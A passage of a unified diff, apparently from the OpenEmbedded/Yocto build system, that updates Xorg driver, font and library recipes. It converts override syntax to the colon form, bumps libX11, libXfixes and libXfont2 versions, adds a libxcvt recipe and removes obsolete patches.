-Upstream-Status: Backport [https://gitlab.freedesktop.org/xorg/driver/xf86-video-intel/-/commit/652d93cbbdc159c0883f1b626ea48e28bac63ae3]
-Signed-off-by: Chris Wilson <chris@chris-wilson.co.uk>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/legacy/i810/i810.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/legacy/i810/i810.h b/src/legacy/i810/i810.h
-index 347188c9..19be049c 100644
---- a/src/legacy/i810/i810.h
-+++ b/src/legacy/i810/i810.h
-@@ -322,6 +322,6 @@ extern void I810InitMC(ScreenPtr pScreen);
- extern const OptionInfoRec *I810AvailableOptions(int chipid, int busid);
-
- extern const int I810CopyROP[16];
--const int I810PatternROP[16];
-+extern const int I810PatternROP[16];
-
- #endif /* _I810_H_ */
---
-2.28.0
-
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb b/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
index 161371b118..9430c3f4bb 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
@@ -9,13 +9,11 @@ Infrastructure (DRI)."
LIC_FILES_CHKSUM = "file://COPYING;md5=8730ad58d11c7bbad9a7066d69f7808e"
-SRCREV = "f66d39544bb8339130c96d282a80f87ca1606caf"
+SRCREV = "31486f40f8e8f8923ca0799aea84b58799754564"
PV = "2.99.917+git${SRCPV}"
S = "${WORKDIR}/git"
-SRC_URI = "git://anongit.freedesktop.org/xorg/driver/xf86-video-intel \
- file://0001-Sync-i915_pciids-upto-8717c6b7414f.patch \
- file://0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch \
+SRC_URI = "git://anongit.freedesktop.org/xorg/driver/xf86-video-intel;branch=master \
"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
@@ -39,4 +37,4 @@ EXTRA_OECONF += '${@oe.utils.conditional( "ROOTLESS_X", "1", " --enable-kms-only
COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-FILES_${PN} += "${datadir}/polkit-1"
+FILES:${PN} += "${datadir}/polkit-1"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb b/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb
index d313c8c6a8..05bb905b35 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb
@@ -13,7 +13,7 @@ DEPENDS += "virtual/libx11 xorgproto libpciaccess"
COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-RRECOMMENDS_${PN} += "xserver-xorg-module-libint10"
+RRECOMMENDS:${PN} += "xserver-xorg-module-libint10"
SRC_URI[sha256sum] = "1f1624f3c73906801ad1bc98335a2cb5676a7a4d18e5374d9a1d18464e54c659"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch b/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch
index 5bda720ce5..b37f697aa4 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch
@@ -3,7 +3,7 @@ From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Fri, 9 Dec 2016 14:35:45 +0200
Subject: [PATCH] Add option for vmwgfx
-Upstream-Status:Submitted
+Upstream-Status: Submitted
Signed-off-by: Ross Burton <ross.burton@intel.com>
Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
diff --git a/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc b/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
index 493b90a298..65c5e3c48a 100644
--- a/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
+++ b/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
@@ -10,7 +10,7 @@ DEPENDS = "virtual/xserver xorgproto util-macros"
SRC_URI = "${XORG_MIRROR}/individual/driver/${BPN}-${PV}.tar.bz2"
-FILES_${PN} += " ${libdir}/xorg/modules/drivers/*.so"
+FILES:${PN} += " ${libdir}/xorg/modules/drivers/*.so"
XORGBUILDCLASS ??= "autotools"
inherit ${XORGBUILDCLASS} pkgconfig features_check
@@ -20,7 +20,7 @@ REQUIRED_DISTRO_FEATURES = "x11"
# FIXME: We don't want to include the libtool archives (*.la) from modules
# directory, as they serve no useful purpose. Upstream should fix Makefile.am
-do_install_append() {
+do_install:append() {
find ${D}${libdir}/xorg/modules -regex ".*\.la$" | xargs rm -f --
}
@@ -38,6 +38,6 @@ def _add_xorg_abi_depends(d, name):
abi = "%sxorg-abi-%s-%s" % (mlprefix, name, output.split(".")[0])
pn = d.getVar("PN")
- d.appendVar('RDEPENDS_' + pn, ' ' + abi)
+ d.appendVar('RDEPENDS:' + pn, ' ' + abi)
SECURITY_LDFLAGS = "${SECURITY_X_LDFLAGS}"
diff --git a/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc b/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
index 57912e70db..934c3d75c1 100644
--- a/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
+++ b/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
@@ -7,6 +7,6 @@ python add_xorg_abi_depends() {
}
PACKAGEFUNCS =+ "add_xorg_abi_depends"
-FILES_${PN} += " ${libdir}/xorg/modules/input/*.so \
+FILES:${PN} += " ${libdir}/xorg/modules/input/*.so \
${datadir}/X11/xorg.conf.d \
"
diff --git a/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb b/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb
index 713fcfb935..8ddbaf24dd 100644
--- a/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb
+++ b/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb
@@ -10,7 +10,7 @@ PE = "1"
PR = "r3"
DEPENDS = "mkfontscale-native mkfontdir-native font-util-native"
-RDEPENDS_${PN} = ""
+RDEPENDS:${PN} = ""
SRC_URI += "file://nocompiler.patch"
SRC_URI[md5sum] = "bbae4f247b88ccde0e85ed6a403da22a"
@@ -21,5 +21,5 @@ inherit allarch
EXTRA_OECONF += "--with-encodingsdir=${datadir}/fonts/X11/encodings"
# postinst from .inc doesn't apply to this recipe
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
}
diff --git a/meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb b/meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb
index e4b70c69dc..d80ecbeb8f 100644
--- a/meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb
+++ b/meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb
@@ -13,8 +13,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=bf0158b89be493d523d69d9f29265038 \
SRC_URI += "file://nocompiler.patch"
DEPENDS = "util-macros-native font-util-native"
-RDEPENDS_${PN} = "encodings font-util"
-RDEPENDS_${PN}_class-native = "font-util-native"
+RDEPENDS:${PN} = "encodings font-util"
+RDEPENDS:${PN}:class-native = "font-util-native"
inherit allarch
diff --git a/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb b/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb
index ebe7a603fa..f940c5f534 100644
--- a/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb
+++ b/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb
@@ -3,20 +3,20 @@ SUMMARY = "X.Org font package creation/installation utilities"
require xorg-font-common.inc
#Unicode is MIT
-LICENSE = "BSD & MIT"
+LICENSE = "MIT & MIT-style & BSD-4-Clause & BSD-2-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=5df208ec65eb84ce5bb8d82d8f3b9675 \
file://ucs2any.c;endline=28;md5=8357dc567fc628bd12696f15b2a33bcb \
file://bdftruncate.c;endline=26;md5=4f82ffc101a1b165eae9c6998abff937 \
file://map-ISO8859-1;beginline=9;endline=23;md5=1cecb984063248f29ffe5c46f5c04f34"
DEPENDS = "encodings util-macros"
-DEPENDS_class-native = "util-macros-native"
-RDEPENDS_${PN} = "mkfontdir mkfontscale encodings"
-RDEPENDS_${PN}_class-native = ""
+DEPENDS:class-native = "util-macros-native"
+RDEPENDS:${PN} = "mkfontdir mkfontscale encodings"
+RDEPENDS:${PN}:class-native = ""
BBCLASSEXTEND = "native"
SRC_URI[md5sum] = "3d6adb76fdd072db8c8fae41b40855e8"
SRC_URI[sha256sum] = "3ad880444123ac06a7238546fa38a2a6ad7f7e0cc3614de7e103863616522282"
-SYSROOT_DIRS_BLACKLIST_remove = "${datadir}/fonts"
+SYSROOT_DIRS_BLACKLIST:remove = "${datadir}/fonts"
diff --git a/meta/recipes-graphics/xorg-font/xorg-font-common.inc b/meta/recipes-graphics/xorg-font/xorg-font-common.inc
index 7ca5c76a66..ba5840425c 100644
--- a/meta/recipes-graphics/xorg-font/xorg-font-common.inc
+++ b/meta/recipes-graphics/xorg-font/xorg-font-common.inc
@@ -5,7 +5,7 @@ SECTION = "x11/fonts"
LICENSE = "MIT-X"
DEPENDS = " encodings font-alias font-util-native"
-RDEPENDS_${PN} = "encodings font-util font-alias"
+RDEPENDS:${PN} = "encodings font-util font-alias"
XORG_PN = "${BPN}"
@@ -19,17 +19,17 @@ REQUIRED_DISTRO_FEATURES = "x11"
EXTRA_OEMAKE += "FCCACHE=/bin/true UTIL_DIR=${STAGING_DIR_TARGET}\$\(MAPFILES_PATH\)"
-do_install_append() {
+do_install:append() {
find ${D}${libdir}/X11/fonts -type f -name fonts.dir | xargs rm -f
find ${D}${libdir}/X11/fonts -type f -name fonts.scale | xargs rm -f
find ${D}${datadir}/fonts/X11 -type f -name fonts.dir | xargs rm -f
find ${D}${datadir}/fonts/X11 -type f -name fonts.scale | xargs rm -f
}
-FILES_${PN} += " ${libdir}/X11/fonts ${datadir}"
+FILES:${PN} += " ${libdir}/X11/fonts ${datadir}"
PACKAGE_WRITE_DEPS += "mkfontdir-native mkfontscale-native"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
for fontdir in `find $D/usr/lib/X11/fonts -type d`; do
mkfontdir $fontdir
mkfontscale $fontdir
diff --git a/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb b/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
index 1ea08a6c99..88f534ccf7 100644
--- a/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
+++ b/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
@@ -10,8 +10,12 @@ LIC_FILES_CHKSUM = "file://../misc/fonts.dir;md5=82a143d94d6a974aafe97132d2d519a
SRC_URI = "file://misc"
+SOURCE_DATE_EPOCH = "1613559011"
+
PE = "1"
-PR = "r2"
+PR = "r4"
+# remove at next version upgrade or when output changes
+HASHEQUIV_HASH_VERSION .= ".1"
inherit allarch features_check
@@ -21,12 +25,14 @@ REQUIRED_DISTRO_FEATURES = "x11"
S = "${WORKDIR}/misc"
PACKAGES = "${PN}"
-FILES_${PN} = "${libdir}/X11/ ${datadir}/fonts/X11/"
-RDEPENDS_${PN} += "font-alias"
+FILES:${PN} = "${libdir}/X11/ ${datadir}/fonts/X11/"
+RDEPENDS:${PN} += "font-alias"
do_install() {
install -d ${D}/${datadir}/fonts/X11/misc
install -m 0644 ${S}/* ${D}/${datadir}/fonts/X11/misc/
+ # Pick a date/time as otherwise it would be the git checkout/modify time
+ touch -d @1613559011 ${D}/${datadir}/fonts/X11/misc/*
install -d ${D}/${libdir}/X11
ln -sf ${datadir}/fonts/X11/ ${D}/${libdir}/X11/fonts -s
}
diff --git a/meta/recipes-graphics/xorg-lib/files/libx11-whitespace.patch b/meta/recipes-graphics/xorg-lib/files/libx11-whitespace.patch
deleted file mode 100644
index 3f97143082..0000000000
--- a/meta/recipes-graphics/xorg-lib/files/libx11-whitespace.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/xorg/lib/libx11/merge_requests/33]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From b41469c5f08b1f3365667ff3c430b104c9b8e25f Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Wed, 22 Jan 2020 17:11:23 +0000
-Subject: [PATCH libX11] cpprules.in: squash whitespace in generated files
-
-CPP is used to generate files, but as cpp reads files from the build host the
-output has a number of blank lines at the beginning which varies depending on
-what GCC and friends is used.
-
-Pathalogical example:
-
- $ cpp -undef -traditional /dev/null
- # 1 "/dev/null"
- # 1 "<built-in>"
- # 1 "<command-line>"
- # 31 "<command-line>"
- # 1 "/usr/include/stdc-predef.h" 1 3 4
-
- # 17 "/usr/include/stdc-predef.h" 3 4
-
- [ 40 blank line ]
-
- # 32 "<command-line>" 2
- # 1 "/dev/null"
-
-So depending on the content of stdc-predef.h and what other headers CPP will
-load, the amount of whitespace in the generates files varies. This can result in
-differences in reproducible environments, and file conflicts in multilib
-environments.
-
-As whitespace is irrelevant to these machine-readable files, extend the sed to
-just delete blank lines.
----
- cpprules.in | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/cpprules.in b/cpprules.in
-index 03d6701e..ce6b3c98 100644
---- a/cpprules.in
-+++ b/cpprules.in
-@@ -23,7 +23,8 @@ CPP_SED_MAGIC = $(SED) -e '/^\# *[0-9][0-9]* *.*$$/d' \
- -e '/^[ ]*XCOMM[^a-zA-Z0-9_]/s/XCOMM/\#/' \
- -e '/^[ ]*XHASH/s/XHASH/\#/' \
- -e 's,X11_LOCALEDATADIR,$(X11_LOCALEDATADIR),g' \
-- -e '/\@\@$$/s/\@\@$$/\\/'
-+ -e '/\@\@$$/s/\@\@$$/\\/' \
-+ -e '/^$$/d'
-
- .pre:
- @$(MKDIR_P) $(@D)
---
-2.20.1
-
diff --git a/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb b/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb
index ffa1c859d6..b398e8b626 100644
--- a/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb
+++ b/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb
@@ -13,7 +13,7 @@ SRC_URI[sha256sum] = "e4d05911a3165d3b18321cc067fdd2f023f06436e391c6a28dff618a78
inherit autotools
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb b/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb
index 3d97ad78d2..796980b7ca 100644
--- a/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb
+++ b/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb
@@ -8,14 +8,14 @@ python () {
require xorg-lib-common.inc
-LICENSE = "MIT & MIT-style & BSD"
+LICENSE = "MIT & MIT-style & BSD-1-Clause & HPND & HPND-sell-variant"
LIC_FILES_CHKSUM = "file://COPYING;md5=172255dee66bb0151435b2d5d709fcf7"
SRC_URI[md5sum] = "c5fa5a86a20e3591bed6c046498d4b8f"
SRC_URI[sha256sum] = "b289a845c189e251e0e884cc0f9269bbe97c238df3741e854ec4c17c21e473d5"
SRC_URI += "file://0001-Drop-x11-dependencies.patch \
- file://libx11-whitespace.patch"
+ "
XORG_PN = "libX11"
@@ -23,7 +23,7 @@ EXTRA_OECONF += "--disable-xkb"
PACKAGES = "${PN}"
-FILES_${PN} = "${datadir}/X11/locale ${libdir}/X11/locale"
+FILES:${PN} = "${datadir}/X11/locale ${libdir}/X11/locale"
do_compile() {
oe_runmake -C nls
diff --git a/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch b/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch
deleted file mode 100644
index 2a723b7e43..0000000000
--- a/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 5235a7f3692a4c3c90dd4ac1be3c670388904bbe Mon Sep 17 00:00:00 2001
-From: Tatu Frisk <tatu.frisk@ge.com>
-Date: Tue, 14 Mar 2017 14:41:27 +0200
-Subject: [PATCH] Fix hanging issue in _XReply
-
-Assume event queue is empty if another thread is blocking waiting for event.
-
-If one thread was blocking waiting for an event and another thread sent a
-reply to the X server, both threads got blocked until an event was
-received.
-
-Upstream-Status: Submitted [https://patchwork.freedesktop.org/patch/171458/]
-
-This patch needs to be removed once the corresponding patch has been merged upstream.
-
-https://patchwork.freedesktop.org/patch/171458/
-
-Signed-off-by: Tatu Frisk <tatu.frisk@ge.com>
-Signed-off-by: Jose Alarcon <jose.alarcon@ge.com>
-
-[Refreshed for 1.6.7 update]
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
----
- src/xcb_io.c | 19 +++++++------------
- 1 file changed, 7 insertions(+), 12 deletions(-)
-
-Index: libX11-1.6.7/src/xcb_io.c
-===================================================================
---- libX11-1.6.7.orig/src/xcb_io.c
-+++ libX11-1.6.7/src/xcb_io.c
-@@ -620,18 +620,14 @@ Status _XReply(Display *dpy, xReply *rep
- if(dpy->xcb->event_owner == XlibOwnsEventQueue)
- {
- xcb_generic_reply_t *event;
-- /* If some thread is already waiting for events,
-- * it will get the first one. That thread must
-- * process that event before we can continue. */
-- /* FIXME: That event might be after this reply,
-- * and might never even come--or there might be
-- * multiple threads trying to get events. */
-- while(dpy->xcb->event_waiter)
-- { /* need braces around ConditionWait */
-- ConditionWait(dpy, dpy->xcb->event_notify);
-- }
-- while((event = poll_for_event(dpy, True)))
-- handle_response(dpy, event, True);
-+
-+ /* Assume event queue is empty if another thread is blocking
-+ * waiting for event. */
-+ if(!dpy->xcb->event_waiter)
-+ {
-+ while((event = poll_for_response(dpy)))
-+ handle_response(dpy, event, True);
-+ }
- }
-
- req->reply_waiter = 0;
diff --git a/meta/recipes-graphics/xorg-lib/libx11_1.6.12.bb b/meta/recipes-graphics/xorg-lib/libx11_1.6.12.bb
deleted file mode 100644
index de7f1c366e..0000000000
--- a/meta/recipes-graphics/xorg-lib/libx11_1.6.12.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-SUMMARY = "Xlib: C Language X Interface library"
-
-DESCRIPTION = "This package provides a client interface to the X Window \
-System, otherwise known as 'Xlib'. It provides a complete API for the \
-basic functions of the window system."
-
-require xorg-lib-common.inc
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/libx11:"
-
-PE = "1"
-
-SRC_URI += "file://Fix-hanging-issue-in-_XReply.patch \
- file://disable_tests.patch \
- file://libx11-whitespace.patch"
-
-SRC_URI[sha256sum] = "f108227469419ac04d196df0f3b80ce1f7f65059bb54c0de811f4d8e03fd6ec7"
-
-PROVIDES = "virtual/libx11"
-
-XORG_PN = "libX11"
-LICENSE = "MIT & MIT-style & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=172255dee66bb0151435b2d5d709fcf7"
-
-DEPENDS += "xorgproto xtrans libxcb"
-DEPENDS += "xorgproto-native"
-
-EXTRA_OECONF += "--with-keysymdefdir=${STAGING_INCDIR}/X11/ --disable-xf86bigfont"
-EXTRA_OEMAKE += 'CWARNFLAGS=""'
-
-PACKAGECONFIG ??= "xcms"
-PACKAGECONFIG[xcms] = "--enable-xcms,--disable-xcms"
-
-# src/util/makekeys is built natively but needs -D_GNU_SOURCE defined.
-CPPFLAGS_FOR_BUILD += "-D_GNU_SOURCE"
-
-PACKAGES =+ "${PN}-xcb"
-
-inherit gettext
-
-FILES_${PN} += "${datadir}/X11/XKeysymDB ${datadir}/X11/XErrorDB ${datadir}/X11/Xcms.txt"
-FILES_${PN}-xcb += "${libdir}/libX11-xcb.so.*"
-FILES_${PN}-locale += "${datadir}/X11/locale ${libdir}/X11/locale"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libx11_1.7.3.1.bb b/meta/recipes-graphics/xorg-lib/libx11_1.7.3.1.bb
new file mode 100644
index 0000000000..be9b8df6ce
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libx11_1.7.3.1.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Xlib: C Language X Interface library"
+
+DESCRIPTION = "This package provides a client interface to the X Window \
+System, otherwise known as 'Xlib'. It provides a complete API for the \
+basic functions of the window system."
+
+require xorg-lib-common.inc
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/libx11:"
+
+PE = "1"
+
+# temporarily override SRC_URI which is hard-coded in xorg-lib-common.inc
+# since new versions of packages use a new compression format - .tar.gz
+SRC_URI = "${XORG_MIRROR}/individual/lib/${XORG_PN}-${PV}.tar.xz"
+
+SRC_URI += "file://disable_tests.patch \
+ "
+SRC_URI[sha256sum] = "2ffd417266fb875028fdc0ef349694f63dbcd76d0b0cfacfb52e6151f4b60989"
+
+PROVIDES = "virtual/libx11"
+
+XORG_PN = "libX11"
+LICENSE = "MIT & MIT-style & BSD-1-Clause & HPND & HPND-sell-variant"
+LIC_FILES_CHKSUM = "file://COPYING;md5=172255dee66bb0151435b2d5d709fcf7"
+
+DEPENDS += "xorgproto \
+ xtrans \
+ libxcb \
+ xorgproto-native \
+ autoconf-archive \
+ "
+
+EXTRA_OECONF += "--with-keysymdefdir=${STAGING_INCDIR}/X11/ --disable-xf86bigfont"
+EXTRA_OEMAKE += 'CWARNFLAGS=""'
+
+PACKAGECONFIG ??= "xcms"
+PACKAGECONFIG[xcms] = "--enable-xcms,--disable-xcms"
+
+PACKAGES =+ "${PN}-xcb"
+
+inherit gettext
+
+FILES:${PN} += "${datadir}/X11/XKeysymDB ${datadir}/X11/XErrorDB ${datadir}/X11/Xcms.txt"
+FILES:${PN}-xcb += "${libdir}/libX11-xcb.so.*"
+FILES:${PN}-locale += "${datadir}/X11/locale ${libdir}/X11/locale"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb b/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb
index e9f6051b6e..5341bbd4bc 100644
--- a/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb
+++ b/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb
@@ -19,9 +19,9 @@ BBCLASSEXTEND = "native nativesdk"
DEPENDS = "xcb-proto xorgproto libxau libpthread-stubs libxdmcp"
-PACKAGES_DYNAMIC = "^libxcb-.*"
+PACKAGES_DYNAMIC = "^${PN}-.*"
-FILES_${PN} = "${libdir}/libxcb.so.*"
+FILES:${PN} = "${libdir}/libxcb.so.*"
inherit autotools pkgconfig features_check
@@ -30,10 +30,10 @@ REQUIRED_DISTRO_FEATURES = "x11"
export PYTHON = "python3"
-do_install_append () {
+do_install:append () {
chown root.root ${D}${datadir}/doc/${BPN}/tutorial -R
}
-python populate_packages_prepend () {
- do_split_packages(d, '${libdir}', r'^libxcb-(.*)\.so\..*$', 'libxcb-%s', 'XCB library module for %s', allow_links=True)
+python populate_packages:prepend () {
+ do_split_packages(d, '${libdir}', r'^libxcb-(.*)\.so\..*$', '${PN}-%s', 'XCB library module for %s', allow_links=True)
}
diff --git a/meta/recipes-graphics/xorg-lib/libxcvt_0.1.1.bb b/meta/recipes-graphics/xorg-lib/libxcvt_0.1.1.bb
new file mode 100644
index 0000000000..134c40acd1
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxcvt_0.1.1.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Library providing a standalone version of the X server \
+implementation of the VESA CVT standard timing modelines generator"
+HOMEPAGE = "https://gitlab.freedesktop.org/xorg/lib/libxcvt"
+BUGTRACKER = "https://gitlab.freedesktop.org/xorg/lib/libxcvt/-/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=129947a06984d6faa6f9a9788fa2a03f"
+SECTION = "x11/libs"
+
+SRC_URI = "git://gitlab.freedesktop.org/xorg/lib/libxcvt.git;protocol=https;branch=master"
+SRCREV = "6fe840b9295cfdc41bd734586c5b8756f6af6f9b"
+
+S = "${WORKDIR}/git"
+
+inherit meson
+
+FILES:${PN} = " \
+ ${libdir}/libxcvt.so.0* \
+ ${bindir}/cvt \
+"
diff --git a/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb b/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb
deleted file mode 100644
index f0e2f606ce..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "XFixes: X Fixes extension library"
-
-DESCRIPTION = "X applications have often needed to work around various \
-shortcomings in the core X window system. This extension is designed to \
-provide the minimal server-side support necessary to eliminate problems \
-caused by these workarounds."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3c1ce42c334a6f5cccb0277556a053e0"
-
-DEPENDS += "virtual/libx11 xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXfixes"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "07e01e046a0215574f36a3aacb148be0"
-SRC_URI[sha256sum] = "de1cd33aff226e08cefd0e6759341c2c8e8c9faf8ce9ac6ec38d43e287b22ad6"
-
diff --git a/meta/recipes-graphics/xorg-lib/libxfixes_6.0.0.bb b/meta/recipes-graphics/xorg-lib/libxfixes_6.0.0.bb
new file mode 100644
index 0000000000..af7426f7bf
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxfixes_6.0.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "XFixes: X Fixes extension library"
+
+DESCRIPTION = "X applications have often needed to work around various \
+shortcomings in the core X window system. This extension is designed to \
+provide the minimal server-side support necessary to eliminate problems \
+caused by these workarounds."
+
+require xorg-lib-common.inc
+SRC_URI[sha256sum] = "a7c1a24da53e0b46cac5aea79094b4b2257321c621b258729bc3139149245b4c"
+
+LICENSE = "MIT-style"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3c1ce42c334a6f5cccb0277556a053e0"
+
+DEPENDS += "virtual/libx11 xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXfixes"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb
deleted file mode 100644
index 1c9cc0a21d..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "XFont2: X Font rasterisation library"
-
-DESCRIPTION = "libXfont2 provides various services for X servers, most \
-notably font selection and rasterisation (through external libraries \
-such as freetype)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
-
-DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
-
-XORG_PN = "libXfont2"
-
-BBCLASSEXTEND = "native"
-
-SRC_URI[md5sum] = "00516bed7ec1453d56974560379fff2f"
-SRC_URI[sha256sum] = "6d151b3368e5035efede4b6264c0fdc6662c1c99dbc2de425e3480cababc69e6"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-CVE_PRODUCT = "libxfont libxfont2"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.5.bb b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.5.bb
new file mode 100644
index 0000000000..9ad19dc826
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.5.bb
@@ -0,0 +1,23 @@
+SUMMARY = "XFont2: X Font rasterisation library"
+
+DESCRIPTION = "libXfont2 provides various services for X servers, most \
+notably font selection and rasterisation (through external libraries \
+such as freetype)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & MIT-style & BSD-4-Clause & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
+
+DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
+
+XORG_PN = "libXfont2"
+
+BBCLASSEXTEND = "native"
+
+SRC_URI[sha256sum] = "aa7c6f211cf7215c0ab4819ed893dc98034363d7b930b844bb43603c2e10b53e"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+CVE_PRODUCT = "libxfont libxfont2"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb b/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
index 94c6c66e87..f04780cf04 100644
--- a/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
+++ b/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
@@ -6,7 +6,7 @@ such as freetype)."
require xorg-lib-common.inc
-LICENSE = "MIT & MIT-style & BSD"
+LICENSE = "MIT & MIT-style & BSD-3-Clause"
